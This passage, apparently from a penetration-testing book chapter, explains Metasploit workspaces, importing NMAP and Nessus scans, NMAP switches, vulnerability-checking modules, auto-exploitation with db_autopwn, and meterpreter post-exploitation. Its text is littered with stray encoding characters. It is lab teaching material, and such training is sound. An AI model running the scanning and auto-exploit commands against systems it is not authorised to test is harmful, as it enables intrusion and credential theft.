�5�. workspace <name> �T�h�i�s� �s�w�i�t�c�h�e�s� �t�h�e� �c�o�n�t�e�x�t� �o�f� �t�h�e� �w�o�r�k�s�p�a�c�e� �t�o� �t�h�e� �n�a�m�e
�s�p�e�c�i�f�i�e�d

�T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�a�g�e� �o�f� �t�h�e� workspace � �c�o�m�m�a�n�d� �w�i�t�h� �v�a�r�i�o�u�s
�s�w�i�t�c�h�e�s�:
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�I�m�p�o�r�t�i�n�g� �s�c�a�n�s
�W�e� �a�l�r�e�a�d�y� �k�n�o�w� �h�o�w� �v�e�r�s�a�t�i�l�e� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�s� �a�n�d� �h�o�w� �w�e�l�l� �i�t� �i�n�t�e�g�r�a�t�e�s
�w�i�t�h� �o�t�h�e�r� �t�o�o�l�s�.� �T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�f�f�e�r�s� �a� �v�e�r�y� �u�s�e�f�u�l� �f�e�a�t�u�r�e� �t�o� �i�m�p�o�r�t� �s�c�a�n
�r�e�s�u�l�t�s� �f�r�o�m� �o�t�h�e�r� �t�o�o�l�s� �s�u�c�h� �a�s� �N�M�A�P� �a�n�d� �N�e�s�s�u�s�.� �T�h�e� db_import � �c�o�m�m�a�n�d�,� �a�s� �s�h�o�w�n� �i�n
�t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�,� �c�a�n� �b�e� �u�s�e�d� �t�o� �i�m�p�o�r�t� �s�c�a�n�s� �i�n�t�o� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�:

�T�h�e� hosts � �c�o�m�m�a�n�d�:� �I�t�'�s� �q�u�i�t�e� �p�o�s�s�i�b�l�e� �t�h�a�t� �w�e� �h�a�v�e� �p�e�r�f�o�r�m�e�d� �t�h�e� �N�M�A�P� �s�c�a�n
�f�o�r� �t�h�e� �e�n�t�i�r�e� �s�u�b�n�e�t� �a�n�d� �i�m�p�o�r�t�e�d� �t�h�e� �s�c�a�n� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k
�d�a�t�a�b�a�s�e�.� �N�o�w�,� �w�e� �n�e�e�d� �t�o� �c�h�e�c�k� �w�h�i�c�h� �h�o�s�t�s� �w�e�r�e� �f�o�u�n�d� �a�l�i�v�e� �d�u�r�i�n�g� �t�h�e� �s�c�a�n�.
�T�h�e� hosts � �c�o�m�m�a�n�d�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�,� �l�i�s�t�s� �a�l�l� �t�h�e� �h�o�s�t�s
�f�o�u�n�d� �d�u�r�i�n�g� �s�c�a�n�s� �a�n�d� �i�m�p�o�r�t�s�:
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�T�h�e� services � �c�o�m�m�a�n�d�:� �O�n�c�e� �t�h�e� �N�M�A�P� �s�c�a�n� �r�e�s�u�l�t�s� �a�r�e� �i�m�p�o�r�t�e�d� �i�n�t�o� �t�h�e
�d�a�t�a�b�a�s�e�,� �w�e� �c�a�n� �q�u�e�r�y� �t�h�e� �d�a�t�a�b�a�s�e� �t�o� �f�i�l�t�e�r� �o�u�t� �s�e�r�v�i�c�e�s� �t�h�a�t� �w�e� �m�i�g�h�t� �b�e
�i�n�t�e�r�e�s�t�e�d� �i�n� �e�x�p�l�o�i�t�i�n�g�.� �T�h�e� services � �c�o�m�m�a�n�d� �w�i�t�h� �a�p�p�r�o�p�r�i�a�t�e� �p�a�r�a�m�e�t�e�r�s�,
�a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�,� �q�u�e�r�i�e�s� �t�h�e� �d�a�t�a�b�a�s�e� �a�n�d� �f�i�l�t�e�r�s� �o�u�t
�s�e�r�v�i�c�e�s�:

�B�a�c�k�i�n�g� �u�p� �t�h�e� �d�a�t�a�b�a�s�e
�I�m�a�g�i�n�e� �y�o�u� �h�a�v�e� �w�o�r�k�e�d� �f�o�r� �l�o�n�g� �h�o�u�r�s� �o�n� �a� �c�o�m�p�l�e�x� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �a�s�s�i�g�n�m�e�n�t
�u�s�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �N�o�w�,� �f�o�r� �s�o�m�e� �u�n�f�o�r�t�u�n�a�t�e� �r�e�a�s�o�n�,� �y�o�u�r� �M�e�t�a�s�p�l�o�i�t
�i�n�s�t�a�n�c�e� �c�r�a�s�h�e�s� �a�n�d� �f�a�i�l�s� �t�o� �s�t�a�r�t�.� �I�t� �w�o�u�l�d� �b�e� �v�e�r�y� �p�a�i�n�f�u�l� �t�o� �r�e�w�o�r�k� �f�r�o�m� �s�c�r�a�t�c�h� �o�n� �a� �n�e�w
�M�e�t�a�s�p�l�o�i�t� �i�n�s�t�a�n�c�e�!� �T�h�i�s� �i�s� �w�h�e�r�e� �t�h�e� �b�a�c�k�u�p� �o�p�t�i�o�n� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �c�o�m�e�s� �t�o
�t�h�e� �r�e�s�c�u�e�.� �T�h�e� db_export � �c�o�m�m�a�n�d�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�,� �e�x�p�o�r�t�s� �a�l�l
�d�a�t�a� �w�i�t�h�i�n� �t�h�e� �d�a�t�a�b�a�s�e� �t�o� �a�n� �e�x�t�e�r�n�a�l� �X�M�L� �f�i�l�e�.
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�Y�o�u� �c�a�n� �t�h�e�n� �k�e�e�p� �t�h�e� �e�x�p�o�r�t�e�d� �X�M�L� �f�i�l�e� �s�a�f�e� �i�n� �c�a�s�e� �y�o�u� �n�e�e�d� �t�o� �r�e�s�t�o�r�e� �t�h�e� �d�a�t�a� �l�a�t�e�r� �a�f�t�e�r
�f�a�i�l�u�r�e�:

�N�M�A�P
�N�M�A�P�,� �a�n� �a�c�r�o�n�y�m� �f�o�r� �N�e�t�w�o�r�k� �M�a�p�p�e�r�,� �i�s� �a�n� �e�x�t�r�e�m�e�l�y� �a�d�v�a�n�c�e�d� �t�o�o�l� �t�h�a�t� �c�a�n� �b�e� �u�s�e�d
�f�o�r� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�u�r�p�o�s�e�s�:

�H�o�s�t� �d�i�s�c�o�v�e�r�y
�S�e�r�v�i�c�e� �d�e�t�e�c�t�i�o�n
�V�e�r�s�i�o�n� �e�n�u�m�e�r�a�t�i�o�n
�V�u�l�n�e�r�a�b�i�l�i�t�y� �s�c�a�n�n�i�n�g
�F�i�r�e�w�a�l�l� �t�e�s�t�i�n�g� �a�n�d� �e�v�a�s�i�o�n

�N�M�A�P� �i�s� �a� �t�o�o�l� �w�i�t�h� �h�u�n�d�r�e�d�s� �o�f� �p�a�r�a�m�e�t�e�r�s� �t�o� �c�o�n�f�i�g�u�r�e� �a�n�d� �c�o�v�e�r�i�n�g� �i�t� �c�o�m�p�l�e�t�e�l�y� �i�s
�b�e�y�o�n�d� �t�h�e� �s�c�o�p�e� �o�f� �t�h�i�s� �b�o�o�k�.� �H�o�w�e�v�e�r�,� �t�h�e� �f�o�l�l�o�w�i�n�g� �t�a�b�l�e� �w�i�l�l� �h�e�l�p� �y�o�u� �t�o� �k�n�o�w� �s�o�m�e� �o�f
�t�h�e� �m�o�s�t� �c�o�m�m�o�n�l�y� �r�e�q�u�i�r�e�d� �N�M�A�P� �s�w�i�t�c�h�e�s�:

�S�r�.� �n�o�.�N�M�A�P� �s�w�i�t�c�h �P�u�r�p�o�s�e

�1�. -sT �P�e�r�f�o�r�m� �a� �c�o�n�n�e�c�t� �(�T�C�P�)� �s�c�a�n

�2�. -sU �P�e�r�f�o�r�m� �a� �s�c�a�n� �t�o� �d�e�t�e�c�t� �o�p�e�n� �U�D�P� �p�o�r�t�s

�3�. -sP �P�e�r�f�o�r�m� �a� �s�i�m�p�l�e� �p�i�n�g� �s�c�a�n

�4�. -A �P�e�r�f�o�r�m� �a�n� �a�g�g�r�e�s�s�i�v�e� �s�c�a�n� �(�i�n�c�l�u�d�e�s� �s�t�e�a�l�t�h� �s�y�n� �s�c�a�n� �a�n�d
�O�S� �a�n�d� �v�e�r�s�i�o�n� �d�e�t�e�c�t�i�o�n� �p�l�u�s� �t�r�a�c�e�r�o�u�t�e� �a�n�d� �s�c�r�i�p�t�s�)

�5�. -sV �P�e�r�f�o�r�m� �s�e�r�v�i�c�e� �v�e�r�s�i�o�n� �d�e�t�e�c�t�i�o�n
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�6�. -v �P�r�i�n�t� �v�e�r�b�o�s�e� �o�u�t�p�u�t

�7�. -p 1-1000 �S�c�a�n� �p�o�r�t�s� �o�n�l�y� �i�n� �r�a�n�g�e� �1� �t�o� �1�0�0�0

�8�. -O �P�e�r�f�o�r�m� �O�S� �d�e�t�e�c�t�i�o�n

�9�. -iL <filename> �S�c�a�n� �a�l�l� �h�o�s�t�s� �f�r�o�m� �t�h�e� �f�i�l�e� �s�p�e�c�i�f�i�e�d� �i�n� <filename>

�1�0�. -oX �O�u�t�p�u�t� �t�h�e� �s�c�a�n� �r�e�s�u�l�t�s� �i�n� �t�h�e� �X�M�L� �f�o�r�m�a�t

�1�1�. -oG �O�u�t�p�u�t� �t�h�e� �s�c�a�n� �r�e�s�u�l�t�s� �i�n� �t�h�e� �g�r�e�p�p�a�b�l�e� �f�o�r�m�a�t

�1�2�. --script
<script_name>

�E�x�e�c�u�t�e� �t�h�e� �s�c�r�i�p�t� �s�p�e�c�i�f�i�e�d� �i�n� <script_name> � �a�g�a�i�n�s�t
�t�h�e� �t�a�r�g�e�t

�F�o�r� �e�x�a�m�p�l�e�:� nmap -sT -sV -O 192.168.44.129 -oX /root/Desktop/scan.xml �.

�T�h�e� �p�r�e�c�e�d�i�n�g� �c�o�m�m�a�n�d� �w�i�l�l� �p�e�r�f�o�r�m� �a� �c�o�n�n�e�c�t� �s�c�a�n� �o�n� �t�h�e� �I�P� �a�d�d�r�e�s�s� 192.168.44.129 �,
�d�e�t�e�c�t� �t�h�e� �v�e�r�s�i�o�n� �o�f� �a�l�l� �t�h�e� �s�e�r�v�i�c�e�s�,� �i�d�e�n�t�i�f�y� �w�h�i�c�h� �o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m� �t�h�e� �t�a�r�g�e�t� �i�s� �r�u�n�n�i�n�g
�o�n�,� �a�n�d� �s�a�v�e� �t�h�e� �r�e�s�u�l�t� �t�o� �a�n� �X�M�L� �f�i�l�e� �a�t� �t�h�e� �p�a�t�h� /root/Desktop/scan.xml �.

�N�M�A�P� �s�c�a�n�n�i�n�g� �a�p�p�r�o�a�c�h
�W�e� �h�a�v�e� �s�e�e�n� �i�n� �t�h�e� �p�r�e�v�i�o�u�s� �s�e�c�t�i�o�n� �t�h�a�t� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�f�f�e�r�s� �a� �f�u�n�c�t�i�o�n�a�l�i�t�y
�t�o� �i�m�p�o�r�t� �s�c�a�n�s� �f�r�o�m� �t�o�o�l�s� �s�u�c�h� �a�s� �N�M�A�P� �a�n�d� �N�e�s�s�u�s�.� �H�o�w�e�v�e�r�,� �t�h�e�r�e� �i�s� �a�l�s�o� �a�n� �o�p�t�i�o�n� �t�o
�i�n�i�t�i�a�t�e� �t�h�e� �N�M�A�P� �s�c�a�n� �f�r�o�m� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �T�h�i�s� �w�i�l�l� �i�n�s�t�a�n�t�l�y� �s�t�o�r�e� �t�h�e
�s�c�a�n� �r�e�s�u�l�t�s� �i�n� �t�h�e� �b�a�c�k�e�n�d� �d�a�t�a�b�a�s�e�.
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�H�o�w�e�v�e�r�,� �t�h�e�r�e� �i�s�n�'�t� �m�u�c�h� �d�i�f�f�e�r�e�n�c�e� �b�e�t�w�e�e�n� �t�h�e� �t�w�o� �a�p�p�r�o�a�c�h�e�s� �a�n�d� �i�s� �j�u�s�t� �a� �m�a�t�t�e�r� �o�f
�p�e�r�s�o�n�a�l� �c�h�o�i�c�e�.

�S�c�a�n�n�i�n�g� �f�r�o�m� msfconsole �:� �T�h�e� db_nmap� �c�o�m�m�a�n�d�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�,� �i�n�i�t�i�a�t�e�s� �a�n� �N�M�A�P� �s�c�a�n� �f�r�o�m� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �O�n�c�e
�t�h�e� �s�c�a�n� �i�s� �c�o�m�p�l�e�t�e�,� �y�o�u� �c�a�n� �s�i�m�p�l�y� �u�s�e� �t�h�e� hosts � �c�o�m�m�a�n�d� �t�o� �l�i�s�t� �t�h�e� �t�a�r�g�e�t
�s�c�a�n�n�e�d�.

�N�e�s�s�u�s
�N�e�s�s�u�s� �i�s� �a� �p�o�p�u�l�a�r� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �t�o�o�l� �t�h�a�t� �w�e� �h�a�v�e� �a�l�r�e�a�d�y� �s�e�e�n� �i�n� Chapter 1 �,
�I�n�t�r�o�d�u�c�t�i�o�n� �t�o� �M�e�t�a�s�p�l�o�i�t� �a�n�d� �S�u�p�p�o�r�t�i�n�g� �T�o�o�l�s�.� �N�o�w�,� �t�h�e�r�e� �a�r�e� �t�w�o� �a�l�t�e�r�n�a�t�i�v�e�s� �o�f� �u�s�i�n�g
�N�e�s�s�u�s� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t�,� �a�s� �f�o�l�l�o�w�s�:

�P�e�r�f�o�r�m� �a� �N�e�s�s�u�s� �s�c�a�n� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �s�a�v�e� �t�h�e� �r�e�p�o�r�t�,� �a�n�d� �t�h�e�n� �i�m�p�o�r�t� �i�t
�i�n�t�o� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �u�s�i�n�g� �t�h�e� db_import � �c�o�m�m�a�n�d� �a�s� �d�i�s�c�u�s�s�e�d
�e�a�r�l�i�e�r� �i�n� �t�h�i�s� �c�h�a�p�t�e�r
�L�o�a�d�,� �i�n�i�t�i�a�t�e�,� �a�n�d� �t�r�i�g�g�e�r� �a� �N�e�s�s�u�s� �s�c�a�n� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �d�i�r�e�c�t�l�y� �t�h�r�o�u�g�h
msfconsole � �a�s� �d�e�s�c�r�i�b�e�d� �i�n� �t�h�e� �n�e�x�t� �s�e�c�t�i�o�n
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�S�c�a�n�n�i�n�g� �u�s�i�n�g� �N�e�s�s�u�s� �f�r�o�m� �m�s�f�c�o�n�s�o�l�e
�B�e�f�o�r�e� �w�e� �s�t�a�r�t� �a� �n�e�w� �s�c�a�n� �u�s�i�n�g� �N�e�s�s�u�s�,� �i�t� �i�s� �i�m�p�o�r�t�a�n�t� �t�o� �l�o�a�d� �t�h�e� �N�e�s�s�u�s� �p�l�u�g�i�n� �i�n
msfconsole �.� �O�n�c�e� �t�h�e� �p�l�u�g�i�n� �i�s� �l�o�a�d�e�d�,� �y�o�u� �c�a�n� �c�o�n�n�e�c�t� �t�o� �y�o�u�r� �N�e�s�s�u�s� �i�n�s�t�a�n�c�e� �u�s�i�n�g� �a
�p�a�i�r� �o�f� �c�r�e�d�e�n�t�i�a�l�s�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �n�e�x�t� �s�c�r�e�e�n�s�h�o�t�.

�B�e�f�o�r�e� �l�o�a�d�i�n�g� nessus � �i�n� msfconsole, � �m�a�k�e� �s�u�r�e� �t�h�a�t� �y�o�u� �s�t�a�r�t� �t�h�e
�N�e�s�s�u�s� �d�a�e�m�o�n� �u�s�i�n�g� �t�h�e� /etc/init.d/nessusd start � �c�o�m�m�a�n�d�.

�O�n�c�e� �t�h�e� nessus � �p�l�u�g�i�n� �i�s� �l�o�a�d�e�d�,� �a�n�d� �w�e� �a�r�e� �c�o�n�n�e�c�t�e�d� �t�o� �t�h�e� nessus � �s�e�r�v�i�c�e�,� �w�e� �n�e�e�d� �t�o
�s�e�l�e�c�t� �w�h�i�c�h� �p�o�l�i�c�y� �w�e� �w�i�l�l� �u�s�e� �t�o� �s�c�a�n� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �T�h�i�s� �c�a�n� �b�e� �p�e�r�f�o�r�m�e�d� �u�s�i�n�g� �t�h�e
�f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d�s�:

�m�s�f�>� �n�e�s�s�u�s�_�p�o�l�i�c�y�_�l�i�s�t� �-
�m�s�f�>� �n�e�s�s�u�s�_�s�c�a�n�_�n�e�w� �<�P�o�l�i�c�y�_�U�U�I�D�>
�m�s�f�>� �n�e�s�s�u�s�_�s�c�a�n�_�l�a�u�n�c�h� �<�S�c�a�n� �I�D�>

�Y�o�u� �c�a�n� �a�l�s�o� �s�e�e� �t�h�i�s� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�A�f�t�e�r� �s�o�m�e� �t�i�m�e�,� �t�h�e� �s�c�a�n� �i�s� �c�o�m�p�l�e�t�e�d�,� �a�n�d� �w�e� �c�a�n� �v�i�e�w� �t�h�e� �s�c�a�n� �r�e�s�u�l�t�s� �u�s�i�n�g� �t�h�e
�f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d�:

�m�s�f�>� �n�e�s�s�u�s�_�r�e�p�o�r�t�_�v�u�l�n�s� �<�S�c�a�n� �I�D�>

�Y�o�u� �c�a�n� �a�l�s�o� �s�e�e� �t�h�i�s� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�V�u�l�n�e�r�a�b�i�l�i�t�y� �d�e�t�e�c�t�i�o�n� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t
�a�u�x�i�l�i�a�r�i�e�s
�W�e� �h�a�v�e� �s�e�e�n� �v�a�r�i�o�u�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �i�n� �t�h�e� �l�a�s�t� �c�h�a�p�t�e�r�.� �S�o�m�e� �o�f� �t�h�e� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s
�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �c�a�n� �a�l�s�o� �b�e� �u�s�e�d� �t�o� �d�e�t�e�c�t� �s�p�e�c�i�f�i�c� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s�.� �F�o�r
�e�x�a�m�p�l�e�,� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �t�o� �c�h�e�c�k� �w�h�e�t�h�e�r� �t�h�e� �t�a�r�g�e�t
�s�y�s�t�e�m� �i�s� �v�u�l�n�e�r�a�b�l�e� �t�o� �t�h�e� �M�S�1�2�-�0�2�0� �R�D�P� �v�u�l�n�e�r�a�b�i�l�i�t�y�:
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�A�u�t�o� �e�x�p�l�o�i�t�a�t�i�o�n� �w�i�t�h� �d�b�_�a�u�t�o�p�w�n
�I�n� �t�h�e� �p�r�e�v�i�o�u�s� �s�e�c�t�i�o�n�,� �w�e� �h�a�v�e� �s�e�e�n� �h�o�w� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �h�e�l�p�s� �u�s� �i�m�p�o�r�t� �s�c�a�n�s
�f�r�o�m� �v�a�r�i�o�u�s� �o�t�h�e�r� �t�o�o�l�s� �s�u�c�h� �a�s� �N�M�A�P� �a�n�d� �N�e�s�s�u�s�.� �N�o�w�,� �o�n�c�e� �w�e� �h�a�v�e� �i�m�p�o�r�t�e�d� �t�h�e� �s�c�a�n
�r�e�s�u�l�t�s� �i�n�t�o� �t�h�e� �d�a�t�a�b�a�s�e�,� �t�h�e� �n�e�x�t� �l�o�g�i�c�a�l� �s�t�e�p� �w�o�u�l�d� �b�e� �t�o� �f�i�n�d� �e�x�p�l�o�i�t�s� �m�a�t�c�h�i�n�g� �t�h�e
�v�u�l�n�e�r�a�b�i�l�i�t�i�e�s�/�p�o�r�t�s� �f�r�o�m� �t�h�e� �i�m�p�o�r�t�e�d� �s�c�a�n�.� �W�e� �c�a�n� �c�e�r�t�a�i�n�l�y� �d�o� �t�h�i�s� �m�a�n�u�a�l�l�y�;� �f�o�r
�i�n�s�t�a�n�c�e�,� �i�f� �o�u�r� �t�a�r�g�e�t� �i�s� �W�i�n�d�o�w�s� �X�P� �a�n�d� �i�t� �h�a�s� �T�C�P� �p�o�r�t� �4�4�5� �o�p�e�n�,� �t�h�e�n� �w�e� �c�a�n� �t�r�y� �o�u�t� �t�h�e
MS08_67 netapi � �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�g�a�i�n�s�t� �i�t�.

�T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�f�f�e�r�s� �a� �s�c�r�i�p�t� �c�a�l�l�e�d� db_autopwn � �t�h�a�t� �a�u�t�o�m�a�t�e�s� �t�h�e� �e�x�p�l�o�i�t
�m�a�t�c�h�i�n�g� �p�r�o�c�e�s�s�,� �e�x�e�c�u�t�e�s� �t�h�e� �a�p�p�r�o�p�r�i�a�t�e� �e�x�p�l�o�i�t� �i�f� �m�a�t�c�h� �f�o�u�n�d�,� �a�n�d� �g�i�v�e�s� �u�s� �r�e�m�o�t�e
�s�h�e�l�l�.� �H�o�w�e�v�e�r�,� �b�e�f�o�r�e� �y�o�u� �t�r�y� �t�h�i�s� �s�c�r�i�p�t�,� �a� �f�e�w� �o�f� �t�h�e� �f�o�l�l�o�w�i�n�g� �t�h�i�n�g�s� �n�e�e�d� �t�o� �b�e
�c�o�n�s�i�d�e�r�e�d�:

�T�h�e� db_autopwn � �s�c�r�i�p�t� �i�s� �o�f�f�i�c�i�a�l�l�y� �d�e�p�r�e�c�i�a�t�e�d� �f�r�o�m� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.
�Y�o�u� �w�o�u�l�d� �n�e�e�d� �t�o� �e�x�p�l�i�c�i�t�l�y� �d�o�w�n�l�o�a�d� �a�n�d� �a�d�d� �i�t� �t�o� �y�o�u�r� �M�e�t�a�s�p�l�o�i�t� �i�n�s�t�a�n�c�e�.
�T�h�i�s� �i�s� �a� �v�e�r�y� �r�e�s�o�u�r�c�e�-�i�n�t�e�n�s�i�v�e� �s�c�r�i�p�t� �s�i�n�c�e� �i�t� �t�r�i�e�s� �a�l�l� �p�e�r�m�u�t�a�t�i�o�n�s� �a�n�d
�c�o�m�b�i�n�a�t�i�o�n�s� �o�f� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �a�g�a�i�n�s�t� �t�h�e� �t�a�r�g�e�t�,� �t�h�u�s� �m�a�k�i�n�g� �i�t� �v�e�r�y� �n�o�i�s�y�.
�T�h�i�s� �s�c�r�i�p�t� �i�s� �n�o�t� �r�e�c�o�m�m�e�n�d�e�d� �a�n�y�m�o�r�e� �f�o�r� �p�r�o�f�e�s�s�i�o�n�a�l� �u�s�e� �a�g�a�i�n�s�t� �a�n�y
�p�r�o�d�u�c�t�i�o�n� �s�y�s�t�e�m�;� �h�o�w�e�v�e�r�,� �f�r�o�m� �a� �l�e�a�r�n�i�n�g� �p�e�r�s�p�e�c�t�i�v�e�,� �y�o�u� �c�a�n� �r�u�n� �i�t� �a�g�a�i�n�s�t
�a�n�y� �o�f� �t�h�e� �t�e�s�t� �m�a�c�h�i�n�e�s� �i�n� �t�h�e� �l�a�b�.
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�T�h�e� �f�o�l�l�o�w�i�n�g� �a�r�e� �t�h�e� �s�t�e�p�s� �t�o� �g�e�t� �s�t�a�r�t�e�d� �w�i�t�h� �t�h�e� db_autopwn � �s�c�r�i�p�t�:

�O�p�e�n� �a� �t�e�r�m�i�n�a�l� �w�i�n�d�o�w�,� �a�n�d� �r�u�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d�:�1�.

�w�g�e�t� �h�t�t�p�s�:�/�/�r�a�w�.�g�i�t�h�u�b�u�s�e�r�c�o�n�t�e�n�t�.�c�o�m
�/�j�e�f�f�b�r�y�n�e�r�/�k�i�n�e�c�t�a�s�p�l�o�i�t�/�m�a�s�t�e�r�/�d�b�_�a�u�t�o�p�w�n�.�r�b

�C�o�p�y� �t�h�e� �d�o�w�n�l�o�a�d�e�d� �f�i�l�e� �t�o� �t�h�e� /usr/share/metasploit-�2�.
framework/plugins � �d�i�r�e�c�t�o�r�y�.

�R�e�s�t�a�r�t� msfconsole �.�3�.

�I�n� msfconsole �,� �t�y�p�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�d�e�:�4�.

�m�s�f�>� �u�s�e� �d�b�_�a�u�t�o�p�w�n

�L�i�s�t� �t�h�e� �m�a�t�c�h�e�d� �e�x�p�l�o�i�t�s� �u�s�i�n�g� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d�:�5�.

�m�s�f�>� �d�b�_�a�u�t�o�p�w�n� �-�p� �-�t

�E�x�p�l�o�i�t� �t�h�e� �m�a�t�c�h�e�d� �e�x�p�l�o�i�t�s� �u�s�i�n�g� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d�:�6�.

� �m�s�f�>� �d�b�_�a�u�t�o�p�w�n� �-�p� �-�t� �-�e

�P�o�s�t� �e�x�p�l�o�i�t�a�t�i�o�n
�P�o�s�t� �e�x�p�l�o�i�t�a�t�i�o�n� �i�s� �a� �p�h�a�s�e� �i�n� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �w�h�e�r�e� �w�e� �h�a�v�e� �g�o�t� �l�i�m�i�t�e�d� �(�o�r� �f�u�l�l�)� �a�c�c�e�s�s
�t�o� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �a�n�d� �n�o�w�,� �w�e� �w�a�n�t� �t�o� �s�e�a�r�c�h� �f�o�r� �c�e�r�t�a�i�n� �f�i�l�e�s�,� �f�o�l�d�e�r�s�,� �d�u�m�p� �u�s�e�r
�c�r�e�d�e�n�t�i�a�l�s�,� �c�a�p�t�u�r�e� �s�c�r�e�e�n�s�h�o�t�s� �r�e�m�o�t�e�l�y�,� �d�u�m�p� �o�u�t� �t�h�e� �k�e�y�s�t�r�o�k�e�s� �f�r�o�m� �t�h�e� �r�e�m�o�t�e
�s�y�s�t�e�m�,� �e�s�c�a�l�a�t�e� �t�h�e� �p�r�i�v�i�l�e�g�e�s� �(�i�f� �r�e�q�u�i�r�e�d�)�,� �a�n�d� �t�r�y� �t�o� �m�a�k�e� �o�u�r� �a�c�c�e�s�s� �p�e�r�s�i�s�t�e�n�t�.� �I�n� �t�h�i�s
�s�e�c�t�i�o�n�,� �w�e�'�l�l� �l�e�a�r�n� �a�b�o�u�t� �m�e�t�e�r�p�r�e�t�e�r�,� �w�h�i�c�h� �i�s� �a�n� �a�d�v�a�n�c�e�d� �p�a�y�l�o�a�d� �k�n�o�w�n� �f�o�r� �i�t�s� �f�e�a�t�u�r�e�-
�r�i�c�h� �p�o�s�t�-�e�x�p�l�o�i�t�a�t�i�o�n� �c�a�p�a�b�i�l�i�t�i�e�s�.

�W�h�a�t� �i�s� �m�e�t�e�r�p�r�e�t�e�r�?
�M�e�t�e�r�p�r�e�t�e�r� �i�s� �a�n� �a�d�v�a�n�c�e�d� �e�x�t�e�n�s�i�b�l�e� �p�a�y�l�o�a�d� �t�h�a�t� �u�s�e�s� �a�n� �i�n�-�m�e�m�o�r�y� �D�L�L� �i�n�j�e�c�t�i�o�n�.� �I�t
�s�i�g�n�i�f�i�c�a�n�t�l�y� �i�n�c�r�e�a�s�e�s� �t�h�e� �p�o�s�t�-�e�x�p�l�o�i�t�a�t�i�o�n� �c�a�p�a�b�i�l�i�t�i�e�s� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �B�y
�c�o�m�m�u�n�i�c�a�t�i�n�g� �o�v�e�r� �t�h�e� �s�t�a�g�e�r� �s�o�c�k�e�t�,� �i�t� �p�r�o�v�i�d�e�s� �a�n� �e�x�t�e�n�s�i�v�e� �c�l�i�e�n�t�-�s�i�d�e� �R�u�b�y� �A�P�I�.� �S�o�m�e
�o�f� �t�h�e� �n�o�t�a�b�l�e� �f�e�a�t�u�r�e�s� �o�f� �m�e�t�e�r�p�r�e�t�e�r� �a�r�e� �a�s� �f�o�l�l�o�w�s�:
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�S�t�e�a�l�t�h�y�:� �M�e�t�e�r�p�r�e�t�e�r� �c�o�m�p�l�e�t�e�l�y� �r�e�s�i�d�e�s� �i�n� �t�h�e� �m�e�m�o�r�y� �o�f� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d
